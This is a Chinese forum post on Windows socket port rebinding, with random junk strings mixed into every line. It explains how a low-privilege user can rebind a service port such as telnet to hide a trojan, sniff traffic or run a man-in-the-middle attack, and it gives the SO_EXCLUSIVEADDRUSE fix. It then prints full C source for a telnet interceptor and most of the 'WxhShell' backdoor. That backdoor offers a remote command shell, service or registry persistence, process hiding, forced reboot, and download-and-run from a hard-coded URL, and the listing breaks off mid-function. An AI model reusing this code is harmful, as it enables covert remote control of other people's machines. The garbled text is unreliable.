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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .Um.dXBYU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ygh*oVHO  
+v/_R{ M  
  saddr.sin_family = AF_INET; 9 u{#S}c`  
~!\n  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U]O7RH  
r/SV.` k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |oa 9 g2  
IWX%6*Zz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !ce5pA  
ZdfIe~Oni  
  这意味着什么?意味着可以进行如下的攻击: lIz"mk  
pno]B ld'z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jU/0a=h9  
=JY9K0S~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <rNCb;  
4 QD.'+ L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !>TH#sU$  
s+l)Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d H]'&&M  
m z) O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D3N\$D  
6Dwj^e0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _Uc le  
q<dZy? f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x xWnB  
a2/!~X9F  
  #include g^/  
  #include 3+rud9T  
  #include s0WI93+z  
  #include    %Sf%XNtu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lOYzo  
  int main() 1*,f  
  { '(4$h3-gv7  
  WORD wVersionRequested; >d%;+2  
  DWORD ret; \hoYQK j  
  WSADATA wsaData; ;b-Y$<  
  BOOL val; ^^1rjh1I  
  SOCKADDR_IN saddr; Q E1DTU  
  SOCKADDR_IN scaddr; eJlTCXeZ|  
  int err; 3!ZndW SHV  
  SOCKET s; |hk?'WGc`0  
  SOCKET sc; gq\ulLyOeZ  
  int caddsize; $n.oY5=\  
  HANDLE mt; XDRw![H,~  
  DWORD tid;   CvS}U%   
  wVersionRequested = MAKEWORD( 2, 2 ); Z(k7&^d  
  err = WSAStartup( wVersionRequested, &wsaData ); )OpB\k  
  if ( err != 0 ) { d ]R&mp|'  
  printf("error!WSAStartup failed!\n"); wGr5V!  
  return -1; E]/` JI'%  
  } &==X.2XW  
  saddr.sin_family = AF_INET; hE@s~ ~JYd  
   $)8b)Tb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gTa6%GM>  
Y%m^V?k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F l@%?  
  saddr.sin_port = htons(23); {@ ygq-TZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b\& |030+  
  { ?VaWOwWI  
  printf("error!socket failed!\n"); lky{<jZ%  
  return -1; K =nW|^  
  } J=Q?_$xb}  
  val = TRUE; u2}zRC=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &]~Vft l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qn=~4rg]R  
  { I*hCIy#;  
  printf("error!setsockopt failed!\n"); +X#JCLD  
  return -1; ]rU$0)VN  
  } [Vzp D 4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FtHR.S= u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 IY jt*p5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rXgU*3 RG  
w eu3c`-a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9=D09@A%e  
  { X} <p|P+  
  ret=GetLastError(); >,;, 6|S  
  printf("error!bind failed!\n"); m$6u K0  
  return -1; :.u[^_   
  } tgz  
  listen(s,2); <Wqk5mR  
  while(1) bLSXQStB  
  { Cp{ j+Ia  
  caddsize = sizeof(scaddr); Ky(=O1Ufu  
  //接受连接请求 ixJ%wnz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ':Avh|q3N  
  if(sc!=INVALID_SOCKET) 6'E3Q=}d  
  { Teo&V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (^,4{;YQ5  
  if(mt==NULL) OZ2YflT  
  { NWx.l8G  
  printf("Thread Creat Failed!\n"); ;]/>n:[ E  
  break; "kH Ft|%@  
  } zPWJ=T@N  
  } o$ disJ  
  CloseHandle(mt); CI%4!K;{  
  } uv>T8(w  
  closesocket(s); Vm+e%  
  WSACleanup(); vQK*:IRKK  
  return 0; Pi7IBz  
  }   eksYIQZ]  
  DWORD WINAPI ClientThread(LPVOID lpParam) !LDuCz -  
  { tw{V7r~n  
  SOCKET ss = (SOCKET)lpParam; WJ D1U?`  
  SOCKET sc; \r4QS  
  unsigned char buf[4096]; {tqLH2cO  
  SOCKADDR_IN saddr; * }\}@0%  
  long num; 6<E4?<O%  
  DWORD val; wlvhDJ  
  DWORD ret; dG {D2~#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 AC'$~4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .@7J8FS*  
  saddr.sin_family = AF_INET;  B6| g2Tt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /1s|FI$-L  
  saddr.sin_port = htons(23); =~7%R.U([e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L!fiW`>0G  
  { 39j "z8 n  
  printf("error!socket failed!\n"); #a : W  
  return -1; UBN^dbP*  
  } lL6 bIjf  
  val = 100; ?uiQ'}   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7soiy A  
  { l,(Mm,3  
  ret = GetLastError(); H ?ZlJ|/c  
  return -1; ,sU#{.(  
  } }1N $4@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )qi/>GR,  
  { >=<qAkk  
  ret = GetLastError(); ?hW?w$C  
  return -1; XI>|"*-l  
  } T!GX^nn*O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }M9R5!=q  
  { z?a<&`W  
  printf("error!socket connect failed!\n"); o\Ocu>:  
  closesocket(sc); iymOq9  
  closesocket(ss); ?B&Z x-krd  
  return -1; 1r %~Rm  
  } rkp 1tv  
  while(1) CTqAhL 4}  
  { hJ)>BeH0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [P'crV,m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cy0 %tsB|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 caK<;bmu-  
  num = recv(ss,buf,4096,0); R`7v3{  
  if(num>0) hWzjn5w3  
  send(sc,buf,num,0); z0XH`H|~  
  else if(num==0) HkGA$  
  break; ~j1.;WId[  
  num = recv(sc,buf,4096,0); sn|q EH  
  if(num>0) iG:9uDY  
  send(ss,buf,num,0); 1KH]l336D"  
  else if(num==0) RC[b+J,q  
  break; OHz>B!`  
  } /zB;1%m-  
  closesocket(ss); 76Drhh(  
  closesocket(sc); tb%u<jY  
  return 0 ; uxbDRlOS  
  } |*~=w J_  
! OM P]  
.d\<}\zZ7J  
========================================================== ^LA.Y)4C2%  
50s)5G#  
下边附上一个代码,,WXhSHELL @uIY+_E40g  
q\PHA  
========================================================== 6$]p;}#  
0SoU\/kUi  
#include "stdafx.h" -c^/k_n  
e ]@Ex  
#include <stdio.h> <"SDU_<xG  
#include <string.h> 2u0dn?9\  
#include <windows.h> &VY(W{\eY  
#include <winsock2.h> Hk65c0  
#include <winsvc.h> a@1 r3az  
#include <urlmon.h> o6@Hj+,,  
os\"(*dix  
#pragma comment (lib, "Ws2_32.lib") Ol;}+?[Q  
#pragma comment (lib, "urlmon.lib") ^bVY&iXNu  
Jk$XL<t  
#define MAX_USER   100 // 最大客户端连接数 "82<}D^;  
#define BUF_SOCK   200 // sock buffer O2W EA  
#define KEY_BUFF   255 // 输入 buffer Tk9/1C{8  
,n')3r   
#define REBOOT     0   // 重启 0(owFNUBs  
#define SHUTDOWN   1   // 关机 _g%Wx?K9  
Ivw+U-Mz  
#define DEF_PORT   5000 // 监听端口 =c)O8  
MoKGnb  
#define REG_LEN     16   // 注册表键长度 u>~G)lx%  
#define SVC_LEN     80   // NT服务名长度 4o:  
rUunf'w`e1  
// 从dll定义API P,S$qD*4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1dhp/Qh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u9AXiv+K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dXKv"*7l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !_+LmBd G  
X&^8[,"  
// wxhshell配置信息 J~Gq#C^e  
struct WSCFG { W\{gBjfE  
  int ws_port;         // 监听端口 ^s@?\v  
  char ws_passstr[REG_LEN]; // 口令 / jI>=:z  
  int ws_autoins;       // 安装标记, 1=yes 0=no *iSsGb\M%  
  char ws_regname[REG_LEN]; // 注册表键名 MSPzOJQPy  
  char ws_svcname[REG_LEN]; // 服务名 _7SOl.5ZE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M ) 9Ss  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RRaGc )B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {nH.  _  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -9"hJ4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;{]%ceetcu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e_6@oh2s-  
&~ g||rq  
}; /*Z ,i&eC  
xbex6i"ZE  
// default Wxhshell configuration )j6VROt  
struct WSCFG wscfg={DEF_PORT, DUg  
    "xuhuanlingzhe", ffGiNXCM  
    1, Sqw.p#  
    "Wxhshell", 4|fI9.  
    "Wxhshell", Rv=(D^F,  
            "WxhShell Service", N|eus3\E  
    "Wrsky Windows CmdShell Service", .M_[tl  
    "Please Input Your Password: ", CT6Ca,  
  1, S#{e@ C  
  "http://www.wrsky.com/wxhshell.exe", M%f96XUM  
  "Wxhshell.exe" i(q%EMf  
    }; H*_:IfI!  
#uNQ+US0  
// 消息定义模块 c ?mCt0Cg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D_,}lsrb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -#v1b>ScY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YPAMf&jEF  
char *msg_ws_ext="\n\rExit."; H"4^  
char *msg_ws_end="\n\rQuit."; `.+_}.m  
char *msg_ws_boot="\n\rReboot..."; < J=9,tv<  
char *msg_ws_poff="\n\rShutdown..."; #RoGyrLo  
char *msg_ws_down="\n\rSave to "; rlYAy5&  
V7u;"vD  
char *msg_ws_err="\n\rErr!"; T78`~-D4<  
char *msg_ws_ok="\n\rOK!"; u"-q"0  
kUAjQ>  
char ExeFile[MAX_PATH]; ]zHUF!a*  
int nUser = 0; x$9UHEb kM  
HANDLE handles[MAX_USER]; *a xOen  
int OsIsNt; H kDT14 `&  
r8XY"<  
SERVICE_STATUS       serviceStatus; 50Z$3T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n~ \"W  
8>G3KZ3  
// 函数声明 > TG:}H(J  
int Install(void); ;5 cg<~t  
int Uninstall(void); UJ1Ui'a(!!  
int DownloadFile(char *sURL, SOCKET wsh); vj<HthC.k  
int Boot(int flag); tWVbD%u^  
void HideProc(void); FbQ"ZTN\;Y  
int GetOsVer(void); <#w0=W?  
int Wxhshell(SOCKET wsl); O3#4B!J$E  
void TalkWithClient(void *cs); [ aj F  
int CmdShell(SOCKET sock); I&|%Fn  
int StartFromService(void); K2<Q9 ,vt  
int StartWxhshell(LPSTR lpCmdLine); aG QC  
 :0ZFbIy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zYfn;s%A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xn(lkQ6Fm  
w\KO1 Ob  
// 数据结构和表定义 ]V J$;v'{[  
SERVICE_TABLE_ENTRY DispatchTable[] = tUl#sqN_{  
{ 7{j9vl6  
{wscfg.ws_svcname, NTServiceMain}, TI:-Y@8  
{NULL, NULL} :.6kXX'~  
}; WlU^+ctS  
z c N1i^   
// 自我安装 Da5Zz(  
int Install(void) 8C4DOz|  
{ DLe?@R5  
  char svExeFile[MAX_PATH]; 5+dQGcE@  
  HKEY key; x2+%.$'  
  strcpy(svExeFile,ExeFile); HMJx[ yD  
Z8tQ#Pu{  
// 如果是win9x系统,修改注册表设为自启动 :9q=o|T6D  
if(!OsIsNt) { !]4'f/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J3cbDE%^m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g@hg u   
  RegCloseKey(key); XHcT7}]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i]gF 6:&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ['j_W$8n  
  RegCloseKey(key); #p}I 84Q  
  return 0; BO<I/J~b  
    } qT^R> p  
  } 54s+4R FL  
} +{N LziO  
else { PpX=~Of~  
lDd+.44V:  
// 如果是NT以上系统,安装为系统服务 #rM/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i6M_Gk}  
if (schSCManager!=0) udM<jY]5p  
{ _3DRCNvh  
  SC_HANDLE schService = CreateService 7H~StdL/>  
  ( Q-fi(UP  
  schSCManager, /PF X1hSu  
  wscfg.ws_svcname, )| @'}k+  
  wscfg.ws_svcdisp, Ol3$!x9  
  SERVICE_ALL_ACCESS, B;?)   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1\t}pGSOeh  
  SERVICE_AUTO_START, KW|X\1H  
  SERVICE_ERROR_NORMAL, )3PQ|r'  
  svExeFile, xTNWT_d  
  NULL, #n5q$  
  NULL, nBv|5$w:  
  NULL, CS2AKa@`  
  NULL, O?|opD  
  NULL FglCqO}  
  ); B]~#+rMK  
  if (schService!=0) Q`}1 B   
  { JnE\E(ez  
  CloseServiceHandle(schService); 91|=D \8aE  
  CloseServiceHandle(schSCManager); is?H1V~8`$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k ]C+/  
  strcat(svExeFile,wscfg.ws_svcname); V}(snG,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pH5"g"e1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vk:@rOpl  
  RegCloseKey(key); rCqcl  
  return 0; M0g!"0?  
    } ~E&drl\  
  } Wo&10S w  
  CloseServiceHandle(schSCManager); f@&C \  
} g-j`Ex%  
} ?LAKH$t  
+ou5cQ^  
return 1; &o*/6X  
} m:A 7*r[  
L9[? qFp  
// 自我卸载 9NLO{kN  
int Uninstall(void) f@lRa>Z(Fm  
{ gK7j~.bb"  
  HKEY key; +Z[(s!  
l}B,SkP^  
if(!OsIsNt) { 2ijw g~_@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !/O c)Yk  
  RegDeleteValue(key,wscfg.ws_regname); 'zV/4iE=  
  RegCloseKey(key); j;@7V4'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l<0 BMwS8  
  RegDeleteValue(key,wscfg.ws_regname); Jx[Z[RO2  
  RegCloseKey(key); o mstJ9  
  return 0; U&#1qRm\h  
  } +*-u_L\'  
} Q?rb(u(  
} x"0*U9f  
else { 4Sv&iQ=vh  
HT7V} UiaO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tAH,3Sz( /  
if (schSCManager!=0) 7Fb |~In<Z  
{ ^pA|ubZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hp;Dp!PLa  
  if (schService!=0) y)_T!&ze  
  { ~yz7/?A)TS  
  if(DeleteService(schService)!=0) { Y0iL+=[k`m  
  CloseServiceHandle(schService); UV8,SSDTV  
  CloseServiceHandle(schSCManager); l9 RjxO.~U  
  return 0; Z=`\U?,  
  } }wzU<(Rx  
  CloseServiceHandle(schService); Z{nJ\`  
  } ~L j[xP  
  CloseServiceHandle(schSCManager); A7@5lHMF  
} :FOMRrf7.  
} eED Fm  
!Tuc#yFw  
return 1; 1L.H"  
} rQgRD)_%w  
o =)hUr  
// 从指定url下载文件 %Z?2 .)  
int DownloadFile(char *sURL, SOCKET wsh) OpeK-K  
{ >en,MT|  
  HRESULT hr; Fa78yY+6  
char seps[]= "/"; !X721lNP  
char *token; Z"rrbN1  
char *file; G\3@QgyQ  
char myURL[MAX_PATH]; |,rIB  
char myFILE[MAX_PATH]; 7@"J&><w!  
!l1UpJp  
strcpy(myURL,sURL); `oH=O6  
  token=strtok(myURL,seps); hQ`g B.DR  
  while(token!=NULL) ;KqH]h)  
  { bm9@A]yP  
    file=token; n`<YhV  
  token=strtok(NULL,seps); 2OFrv=F  
  } g2p/#\D\J  
6c-y<J+&s  
GetCurrentDirectory(MAX_PATH,myFILE); ~*R"WiDtI  
strcat(myFILE, "\\"); *ZP$dQ  
strcat(myFILE, file); '&4W@lvyz  
  send(wsh,myFILE,strlen(myFILE),0); :/'2@M  
send(wsh,"...",3,0); 3n-~+2l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t>;u;XY!;  
  if(hr==S_OK) >-fOkOWXy  
return 0; !_<zK:`-L  
else Ig*68M<  
return 1; xu[6h?u(h8  
8/cD7O  
} $,R QA^gxW  
lrg3n[y-l  
// 系统电源模块 ?.66B9Lld  
int Boot(int flag) $OMTk  
{ W.b?MPy]  
  HANDLE hToken; z^s/7Va[  
  TOKEN_PRIVILEGES tkp; # T_m|LN 7  
,YzrqVY  
  if(OsIsNt) { B[k {u#Kp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  )! 2$yD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @C7if lo6  
    tkp.PrivilegeCount = 1; ht _fbh(l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rMkoE7n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !#P|2>>u  
if(flag==REBOOT) { 63R?=u@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OrN>4S  
  return 0; (}1 gO  
} =@w,D.5h  
else { B;f\H,/59  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PMPB}-d  
  return 0; Z9rmlVU6!  
} =ZdP0l+V=k  
  } )Zx;Z[  
  else { KG:CVIW Y  
if(flag==REBOOT) { ;OjxEXaq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a(>oQG8F  
  return 0; -90qG"@  
} ~Y=v@] 2/  
else { ];cJIa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) + ;u<tA  
  return 0; )+ }\NCFh  
} zq ;YE  
} ^~iu),gu  
.{,PC  
return 1; yTj!(C  
} .Y!] {c  
MVe:[=VOT|  
// win9x进程隐藏模块 1&\ A#  
void HideProc(void) Fy(-.S1  
{ i U3GUsPy  
y U"pU>fV@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AC*> f&  
  if ( hKernel != NULL ) }"k+e^0^  
  { )*j>g38?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r 334E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;2lKo="  
    FreeLibrary(hKernel); 'F3cvpc`  
  } D vG9(Eh  
C:Tjue{G2  
return; )*!"6d)^  
} P,.<3W"4i  
F$[1KjS  
// 获取操作系统版本 2flgfB}2k  
int GetOsVer(void) )3h%2C1uM  
{ M'Fa[n*b?!  
  OSVERSIONINFO winfo; 3Yu1ZuIR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A6D.bJ)  
  GetVersionEx(&winfo); >(N0''eM]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) khS b|mR)  
  return 1; 01bBZWX  
  else uCX+Lw+As  
  return 0; D|zlC,J,  
} px`o.%`'  
%Ot2bhK;  
// 客户端句柄模块 Vaj4p""\F  
int Wxhshell(SOCKET wsl) !nX}\lw  
{ z@WuKRsi  
  SOCKET wsh; 'rWu}#Nb  
  struct sockaddr_in client; Mlr]-Gu5Z  
  DWORD myID; >cVEr+r9t  
j+B+>r ^  
  while(nUser<MAX_USER) -Ucj|9+(a  
{ cRt[{ HE  
  int nSize=sizeof(client); 5v1f?btc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vAeh#V~#  
  if(wsh==INVALID_SOCKET) return 1; ]#)1(ZE  
RPH]@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ps<6kQ(  
if(handles[nUser]==0) \?n4d#=$o  
  closesocket(wsh); -Fi{[%&u  
else n%N|?!rB  
  nUser++; tCkKJ)m  
  } s06tCwPp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3_%lN4sz  
wW5:p]<Y  
  return 0; Dm=d   
} SkGh@\  
0I|IL]JL  
// 关闭 socket |$$gj[+^  
void CloseIt(SOCKET wsh) 3Zy$NsY3  
{ m53XN  
closesocket(wsh); HH_w!_f  
nUser--; %O9kq  
ExitThread(0); +o{]0~ y  
} CYIp 3D'k  
uU_0t;oR3  
// 客户端请求句柄 l| / tKW  
void TalkWithClient(void *cs) >G4EiJS  
{ ' KX'{Gy  
k-o(Q"[ '  
  SOCKET wsh=(SOCKET)cs; x2@Q5|a  
  char pwd[SVC_LEN]; ;4E.Yr*  
  char cmd[KEY_BUFF]; M$|r8%z1  
char chr[1]; 1h.Ypz u  
int i,j; ho 5mH{"OV  
`R}q&|o7<  
  while (nUser < MAX_USER) { axf4N@  
/CpU.^V  
if(wscfg.ws_passstr) { DA>_9o/l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L;wfTZa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SZGeF;N  
  //ZeroMemory(pwd,KEY_BUFF); D{b*,F:&@)  
      i=0; N$Pi4  
  while(i<SVC_LEN) { ?kOtK  
B.zRDB}i=  
  // 设置超时 >Ln/)j  
  fd_set FdRead; ?]JTrv"zp  
  struct timeval TimeOut; [^iQE  
  FD_ZERO(&FdRead); 6\8 lx|w  
  FD_SET(wsh,&FdRead); s)?=4zJ  
  TimeOut.tv_sec=8; J;?#Zt]`L  
  TimeOut.tv_usec=0; <r[5 S5y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [&6VI?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *} yOL [  
wUnz D)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SONv] ));  
  pwd=chr[0]; \ C^fi}/]  
  if(chr[0]==0xd || chr[0]==0xa) { n|G x29 E  
  pwd=0; Y}G9(Ci&  
  break; ]p,sve vo  
  } ".n,R"EF  
  i++; UODbT&&  
    } fpCkT[&m  
} Mh@%2$  
  // 如果是非法用户,关闭 socket O<A$,<67  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %/b3G*$W  
} _;o)MTw|'  
cc LTA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O$'BJKj-4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?*2DR:o>@  
v'x)AbbC  
while(1) { ^lF'KW$  
s7x&x;-  
  ZeroMemory(cmd,KEY_BUFF); 'X()|{  
f-w-K)y$ht  
      // 自动支持客户端 telnet标准   XkG:1H;Q%  
  j=0; O8&=qZ6T  
  while(j<KEY_BUFF) { @P1#)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4#pn ]  
  cmd[j]=chr[0]; wi7a_^{  
  if(chr[0]==0xa || chr[0]==0xd) { 3^ct;gz  
  cmd[j]=0; %kod31X3<  
  break; zv1#PfO@)  
  } 5PaOa8=2f  
  j++; `y1ne x-0  
    } RmR-uQU-c  
)<]*!  
  // 下载文件 W%3<"'eP  
  if(strstr(cmd,"http://")) { ~ULD{Ov'F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d&!;uzOx  
  if(DownloadFile(cmd,wsh)) ,BUDo9h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sj"zgE)  
  else U Bo[iZ|%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;WF3w  
  } qDMVZb-(#  
  else { 75u5zD   
(qf%,F,_L  
    switch(cmd[0]) { -?m"+mUP  
  [Pn(d[$z  
  // 帮助 -i,=sZXB  
  case '?': { Dy_ayxm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0QWc1L  
    break; ~1_v;LhH5+  
  } 29W~<E8K-  
  // 安装 Dz<"eyB\  
  case 'i': { .ZV-]jgr  
    if(Install()) AW;ncx;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Nyq1~   
    else j_3X 1w)k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mes/gqrJ1I  
    break; 'Y6x!i2  
    } EWI2qaSnO  
  // 卸载 my.%zF  
  case 'r': { ^Po^Co  
    if(Uninstall()) \Zpg,KOT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2J>v4EWC  
    else 0 `Yg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s{"}!y=]  
    break; td}%reH  
    } LSX;|#AI  
  // 显示 wxhshell 所在路径 GmjTxNU@  
  case 'p': { ws^ 7J/8  
    char svExeFile[MAX_PATH]; !>n^ ;u  
    strcpy(svExeFile,"\n\r"); i!|OFU6  
      strcat(svExeFile,ExeFile); 5<Lal^c D  
        send(wsh,svExeFile,strlen(svExeFile),0); 2 Nr*  
    break; xI'sprNa_1  
    } !CnkG<5z>  
  // 重启 iSiez'  
  case 'b': { _4Ciai2Ql  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LqDj4[}  
    if(Boot(REBOOT)) !=-{$& {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fz9 ,p;b  
    else { vtm?x,h  
    closesocket(wsh); q6A"+w,N  
    ExitThread(0); nm8XHk]  
    } t08E 2sI  
    break; u3[A~V|0=  
    } <WWn1k_  
  // 关机 [EdX6  
  case 'd': { +*'^T)sj/  
